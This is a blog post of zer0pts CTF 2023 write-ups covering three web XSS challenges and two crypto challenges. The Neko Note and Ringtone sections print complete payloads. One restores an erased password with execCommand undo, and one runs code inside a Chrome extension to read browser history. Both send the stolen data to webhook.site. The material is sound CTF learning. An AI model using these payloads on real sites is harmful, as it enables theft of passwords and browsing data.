zer0pts CTF 2023 Writeups

發表於
分類於 CTF
This article is LLM-translated by GPT-4o, so the translation may be inaccurate or complete. If you find any mistake, please let me know.

This year, I participated in zer0pts CTF with Balsn and solved some Web and Crypto challenges.

Web

Neko Note

The key part of the code is in this segment:

var linkPattern = regexp.MustCompile(`\[([0-9a-f]{8}-[0-9a-f]{4}-4[0-9a-f]{3}-[0-9a-f]{4}-[0-9a-f]{12})\]`)

// replace [(note ID)] to links
func replaceLinks(note string) string {
	return linkPattern.ReplaceAllStringFunc(note, func(s string) string {
		id := strings.Trim(s, "[]")

		note, ok := notes[id]
		if !ok {
			return s
		}

		title := html.EscapeString(note.Title)
		return fmt.Sprintf(
			"<a href=/note/%s title=%s>%s</a>", id, title, title,
		)
	})
}

// escape note to prevent XSS first, then replace newlines to <br> and render links
func renderNote(note string) string {
	note = html.EscapeString(note)
	note = strings.ReplaceAll(note, "\n", "<br>")
	note = replaceLinks(note)
	return note
}

Here, note is controllable, and its content will be inserted into the frontend using innerHTML, so we need to find a way to perform XSS. The key here is that html.EscapeString only escapes five characters < > & ' ", and the place where it inserts the a tag is not quoted, so we can inject any attribute into the a tag.

Referring to the XSS cheatsheet, we can see that there are many attributes that can be used, but only a few do not require user interaction. One of them is

<a id=x style="transition:outline 1s" ontransitionend=alert(1) tabindex=1></a>

However, the frontend part requires the bot to click a button before the innerHTML assignment is triggered, so this cannot be triggered. But later, I found that using events like onmouseover or onpointerover works because await page.click('button'); seems to directly grab the element’s x, y coordinates, and after clicking, it doesn’t move (at least that’s how playwright works). Therefore, as long as the a element is large enough and overlaps with the button, it can be triggered. Thus, x onmouseover=alert(origin) can achieve XSS.

Although this allows us to obtain the flag note’s id, we still don’t have the password. This part requires looking at the bot’s code:

// post a note that has the flag
await page.goto(`${BASE_URL}/`);

await page.type('#title', 'Flag');
await page.type('#body', `The flag is: ${FLAG}`);
const password = crypto.randomBytes(64).toString('base64');
await page.type('#password', password);

await page.click('#submit');

// let's check the reported note
await page.goto(`${BASE_URL}/note/${id}`);
if (await page.$('input') != null) {
	// the note is locked, so use master key to unlock
	await page.type('input', MASTER_KEY);
	await page.click('button');

	// just in case there is a vuln like XSS, delete the password to prevent it from being stolen
	const len = (await page.$eval('input', el => el.value)).length;
	await page.focus('input');
	for (let i = 0; i < len; i++) {
		await page.keyboard.press('Backspace');
	}
}

// it's ready now. click "Show the note" button
await page.click('button');

// done!
await wait(1000);

In short, the bot will use the master key to unlock the note if it detects that the note is locked, and then delete the password. Our XSS will be triggered after the last await page.click('button');, so by then, the master key has already been deleted.

The trick here is to use document.execCommand('undo') to restore the password, and then retrieve the password from the DOM.

Complete payload:

xxxxxxxxxxxxxxxxxxxx onmouseover=document.execCommand(`undo`);pwd=document.querySelector(`input`).value;id=JSON.parse(localStorage.getItem(`neko-note-history`))[0].id;location=`https://webhook.site/9a5f00d1-194c-46af-b09a-b488a79d2787?id=`+id+`&pwd=`+pwd

Flag: zer0pts{neko_no_te_mo_karitai_m8jYx9WiTDY}

ScoreShare

This challenge seems to be about DOM clobbering, but there is a significant unintended solution XDDD. The key part is here:

@app.route("/api/score/<sid>")
def api_score(sid: str):
    abc = db().hget(sid, 'abc')
    if abc is None:
        return flask.abort(404)
    else:
        return flask.Response(abc)

Here, the content of abc is fully controllable, and the website has a CSP script-src 'self'. So, we can first create a score with content like fetch(...) in JS, and then create another score that includes the HTML <script src=/api/score/...></script> to bypass CSP and directly achieve XSS.

Flag: zer0pts{<iframe>_1s_a_s7r0ng_t00l_f0r_D0M_cl0bb3r1ng}

Ringtone

There is a website that does almost nothing except for a static page and a hidden flag route. The main part is in the Chrome extension.

It has a content script:

var form=document.getElementById("ring-form");
form.addEventListener("submit",
async (evt)=>{
    evt.preventDefault();
    var val=form.elements["message"].value;
    console.log(val)
    const response = await chrome.runtime.sendMessage({play:"play"})
    if(response.text=="played successfully"){
        console.log("yattaa")
    }
}
)

chrome.runtime.onMessage.addListener(function (msg, sender, sendResponse) {
    if (msg.text === 'report_back') {
        console.log("msg received")
        if(users.privileged.dataset.admin){
            sendResponse(users.privileged.dataset.admin)
        }
    }
});

And the Chrome extension itself has an index.html that includes this JS:

function evalCode(code) {
    const script = document.createElement('script');
    script.src = '/?code=' +code;
    document.documentElement.appendChild(script);
  }
  chrome.tabs.onUpdated.addListener(function (tabId,tab) {
          console.log(tabId)
          chrome.tabs.sendMessage(tabId, {text: 'report_back'}).then((resp)=>{        
                  evalCode(resp)
          })
      });

The /?code= part is handled by the background script, which basically just echoes:

const prefix = location.origin + '/?code=';
self.onfetch= e => {
  if (e.clientId && e.request.url.startsWith(prefix)) {
    e.respondWith(new Response(e.request.url.slice(prefix.length), {
      headers: { 'Content-Type': 'application/x-www-form-urlencoded;charset=utf-8' },
    }));
  }
};

The bot initially opens four pages, including the website homepage, the extension’s index.html, the flag page, and the URL you submit. The chrome.tabs.onUpdated event is triggered when a new tab is opened, so in this scenario, it is automatically triggered. Therefore, it will make the content script try to read users.privileged.dataset.admin and send it back to the index.html page for evaluation.

At the same time, the static page also has document.getElementById("msg").innerHTML=DOMPurify.sanitize(inp,options), so we can use DOM clobbering to change the value of users.privileged.dataset.admin:

<div id="users"></div>
<div id="privileged" data-admin="alert(1)"></div>

Now, we have arbitrary code execution in the Chrome extension environment, and the manifest has "permissions":["history","activeTab","tabs"], so we can directly read the history to find the URL of the flag page.

The specific JS to execute cannot have spaces, so it becomes like this:

chrome.history.search({text:``},function(hist){u=`https://webhook.site/f71604a4-fc9b-4c99-9e0f-366529a29ac7`;navigator.sendBeacon(u,JSON.stringify(hist,null,2));for(let{url}of[hist][0]){fetch(url).then(function(r){return[r.text()][0]}).then(function(t){navigator.sendBeacon(u,t)})}})

Putting it all together:

http://ringtone.2023.zer0pts.com:8505/?message=%3Cdiv%20id=users%3Ea%3C/div%3E%3Cdiv%20id=users%20name=privileged%20data-admin=%22chrome.history.search({text:``},function(hist){u=`https://webhook.site/f71604a4-fc9b-4c99-9e0f-366529a29ac7`;navigator.sendBeacon(u,JSON.stringify(hist,null,2));for(let{url}of[hist][0]){fetch(url).then(function(r){return[r.text()][0]}).then(function(t){navigator.sendBeacon(u,t)})}})%22%3Ea%3C/div%3E

Flag: zer0pts{extensions_are_really_muzukashi}

Crypto

*easy_factoring

Solved by a teammate, later I did it myself

Given N=p2+q2N=p^2+q^2, find the two prime numbers pp and qq, both approximately 128 bits.

The key is to notice that p2+q2=(p+iq)(piq)p^2+q^2=(p+iq)(p-iq), so after factoring in the Gaussian integers, we can find all the divisors in the form of p+iqp+iq, thus solving it.

p = random_prime(1 << 128)
q = random_prime(1 << 128)
n = p * q
N = pow(p, 2) + pow(q, 2)
zn = ZZ[i](N)
for d in divisors(ZZ[i](N)):
    pp, qq = map(int, d)
    if is_prime(pp) and is_prime(qq):
        print("yes", pp, qq)

moduhash

import os

flag = os.environb.get(b"FLAG", b"dummmmy{test_test_test}")

def S(z):
	return -1/z

def T(z):
	return z + 1

def gen_random_hash(n):
	r = bytes([getrandbits(8) for _ in range(0, n)])
	return r

def to_hash(st):
	res = ""
	for s in st:
		sts = bin(s)[2:].zfill(8)
		for x in sts:
			if x == "0":
				res += "S"
			else:
				res += "T"
	return res

def hash(z, h):
	res = z
	for s in h:
		if s == "S":
			res = S(res)
		elif s == "T":
			res = T(res)
		else:
			exit()
	return res

def hash_eq(h1, h2, CC):
	for _ in range(100):
		zr = CC.random_element()
		h1zr = hash(zr, h1)
		h2zr = hash(zr, h2)
		if abs(h1zr - h2zr) > 1e-15:
			return False
	return True

CC = ComplexField(256)
for _ in range(100):
	n = randint(32, 64)
	h1 = to_hash(gen_random_hash(n))

	zi = CC.random_element()
	print(f"zi	: {zi}")
	print(f"h1(zi): {hash(zi, h1)}")

	h2 = input("your hash> ")

	if not hash_eq(h1, h2, CC):
		print("your hash is incorrect")
		exit()

print(flag)

This challenge generates a string composed of S and T, and the hash function takes that string and a complex number zz, then repeatedly applies the S and T functions to zz according to the string and returns the result. Here, S(z)=1/z,T(z)=z+1S(z)=-1/z, T(z)=z+1.

The goal is to find another string that, when applied to any complex number using the hash function, produces the same result as the given input and output.

After some research, I found that this is related to the Modular group, which is a group formed by combinations of

xax+bcx+dx \rightarrow \frac{ax+b}{cx+d}

where adbc=1ad-bc=1, and it can also be written in matrix form:

[abcd]\begin{bmatrix} a & b \\ c & d \end{bmatrix}

In its Group-theoretic properties, we can see the above two S(z),T(z)S(z), T(z) transforms, and it states that the entire modular group can be generated by these two. The operations between zi and h1(zi) are a series of S(z),T(z)S(z), T(z), so h1h_1 can be expressed in a function of this form:

h1(z)=az+bcz+dh_1(z) = \frac{az+b}{cz+d}

Thus, azi+b=(czi+d)h1(zi)az_i+b=(cz_i+d)h_1(z_i), and using LLL, we can find sufficiently small a,b,c,da,b,c,d. Now the problem is how to decompose

M=[abcd]M= \begin{bmatrix} a & b \\ c & d \end{bmatrix}

into a product of many S,TS, T, where

S=[0110]S= \begin{bmatrix} 0 & -1 \\ 1 & 0 \end{bmatrix} T=[1101]T= \begin{bmatrix} 1 & 1 \\ 0 & 1 \end{bmatrix}

I referred to Decomposition of modular group elements to write an algorithm, but encountered a small problem where qq is not necessarily positive, but the string representation requires it to be positive, so I had to make some modifications.

from pwn import process, remote, context

CC = ComplexField(256)


def find(z, zz):
    # (az+b)/(cz+d)=zz
    # az+b=zz(cz+d)=c*z*zz+d*zz
    zzz = z * zz
    L = matrix(
        QQ,
        [
            [z.real(), z.imag(), 1, 0, 0, 0],
            [1, 0, 0, 1, 0, 0],
            [-zzz.real(), -zzz.imag(), 0, 0, 1, 0],
            [-zz.real(), -zz.imag(), 0, 0, 0, 1],
        ],
    )
    L[:, :2] *= 2**256
    L = L.LLL()
    return L[0][2:]


def positive_mod(x, y):
    r = x % y
    if r < 0:
        r -= y
    return r


def decompose(a, b, c, d):
    M = matrix(ZZ, [[a, b], [c, d]])
    S = matrix(ZZ, [[0, -1], [1, 0]])
    T = matrix(ZZ, [[1, 1], [0, 1]])

    M0 = M
    res = []
    res_s = ""
    for _ in range(200):
        # print(M)
        if M[0, 0] == 0 or M[1, 0] == 0:
            break
        while abs(M[1, 0]) > abs(M[0, 0]):
            M = ~S * M
            res.append(S)
            res_s += "S"
        while sign(M[0, 0]) != sign(M[1, 0]):
            M = ~S * M
            res.append(S)
            res_s += "S"
        a = M[0, 0]
        c = M[1, 0]
        r = positive_mod(a, c)
        q = (a - r) // c
        # print(a, c)
        # print(r, q)
        # print()
        M = T ^ (-q) * M
        res.append(T ^ q)
        assert q >= 0, ":("
        res_s += "T" * int(q)

    assert prod(res) * M == M0
    return res, res_s[::-1]


# io = process(["sage", "server.sage"])
io = remote("crypto.2023.zer0pts.com", int(10444))

for i in range(100):
    io.recvuntil(b"zi\t: ")
    zi = CC(io.recvlineS().strip())
    io.recvuntil(b"h1(zi): ")
    h1zi = CC(io.recvlineS().strip())
    print(i, zi, h1zi)
    a, b, c, d = find(zi, h1zi)
    _, h2 = decompose(a, b, c, d)
    print(h2)
    io.sendlineafter(b"your hash> ", h2)
io.interactive()
# zer0pts{Th3_m0dul4r_gr0up_1s_g3n3r4t3d_by_4cti0ns_S_T}